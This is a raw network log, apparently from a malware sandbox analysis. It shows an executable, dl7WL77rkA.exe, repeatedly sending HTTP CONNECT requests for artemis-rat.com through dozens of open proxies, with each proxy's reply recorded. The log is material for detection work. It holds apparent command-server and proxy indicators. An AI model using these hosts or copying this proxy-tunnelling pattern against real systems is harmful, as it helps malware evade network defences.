1987	192.168.2.5	55363	116.254.100.165	50536	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.413646936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1988	192.168.2.5	55268	103.242.119.88	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.413786888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.820102930 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Mon, 11 Mar 2024 02:30:47 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1989	192.168.2.5	55351	212.108.155.205	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.413788080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1990	192.168.2.5	55007	124.163.236.54	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.417335033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1991	192.168.2.5	55329	110.16.77.101	8082	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.420880079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.858644009 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 717 Content-Type: text/html Date: Mon, 11 Mar 2024 02:22:33 GMT Expires: Mon, 11 Mar 2024 02:22:33 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1992	192.168.2.5	55406	104.16.105.106	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.474179029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.628536940 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1993	192.168.2.5	54241	184.170.248.5	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.475142956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1994	192.168.2.5	55116	36.93.157.49	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.476219893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1995	192.168.2.5	55380	13.59.156.167	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.476480961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.693008900 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1996	192.168.2.5	52051	200.35.49.57	42541	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.476656914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.278513908 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 716 Content-Type: text/html Date: Wed, 13 Sep 2023 12:45:23 GMT Expires: Wed, 13 Sep 2023 12:45:23 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1997	192.168.2.5	55369	45.11.95.165	5049	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.515403986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1998	192.168.2.5	55371	43.133.74.172	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.520713091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1999	192.168.2.5	55421	20.80.103.193	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.521612883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:14.899197102 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:15.533926010 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:16.174768925 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:17.453476906 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:20.075948954 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:25.200278044 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:35.438986063 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:56.944808006 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:37.899543047 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:59.819581032 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2000	192.168.2.5	55392	162.223.91.11	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.521615982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2001	192.168.2.5	55409	44.190.9.65	48100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.521616936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2002	192.168.2.5	51931	167.86.69.142	45364	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.521960974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592603922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.592852116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2003	192.168.2.5	51962	52.80.55.78	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.521960974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.023475885 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2004	192.168.2.5	52021	172.93.111.235	43520	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.522289991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2005	192.168.2.5	55378	167.71.5.83	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.527827024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.069966078 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2006	192.168.2.5	55394	45.191.75.186	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.534347057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2007	192.168.2.5	54314	98.188.47.132	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.566674948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2008	192.168.2.5	55377	45.11.95.165	6010	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.573149920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2009	192.168.2.5	54029	50.63.12.101	6095	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.574886084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2010	192.168.2.5	55400	149.210.235.107	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.575947046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.237190962 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2011	192.168.2.5	55408	46.35.9.110	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.579926968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2012	192.168.2.5	54531	206.220.175.2	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.580033064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2013	192.168.2.5	51933	182.53.178.169	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.581043005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.213829041 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2014	192.168.2.5	51937	121.101.131.67	1111	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.585273027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592639923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2015	192.168.2.5	55411	146.56.154.83	21000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.586790085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.554122925 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)
Mar 11, 2024 03:31:06.064986944 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)
Mar 11, 2024 03:31:07.857122898 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)
Mar 11, 2024 03:31:11.665221930 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)
Mar 11, 2024 03:31:18.832967043 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)
Mar 11, 2024 03:31:33.169048071 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)
Mar 11, 2024 03:32:01.841041088 CET	55	IN	HTTP/1.1 0 Connection establish problem (read logs)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2016	192.168.2.5	55451	12.186.205.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.607465029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.796958923 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2017	192.168.2.5	53927	118.163.120.181	58837	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.607533932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.608232975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717896938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.811491013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:10.527944088 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:31:13.528377056 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:31:19.549166918 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:31:31.586905956 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:31:55.665580034 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:32:43.740575075 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:34:19.891601086 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2018	192.168.2.5	55410	8.217.143.187	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.608094931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2019	192.168.2.5	54019	162.214.227.68	55029	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.608424902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.201998949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2020	192.168.2.5	55405	31.170.22.127	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.613167048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2021	192.168.2.5	55440	212.110.188.213	34411	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.618300915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.311294079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
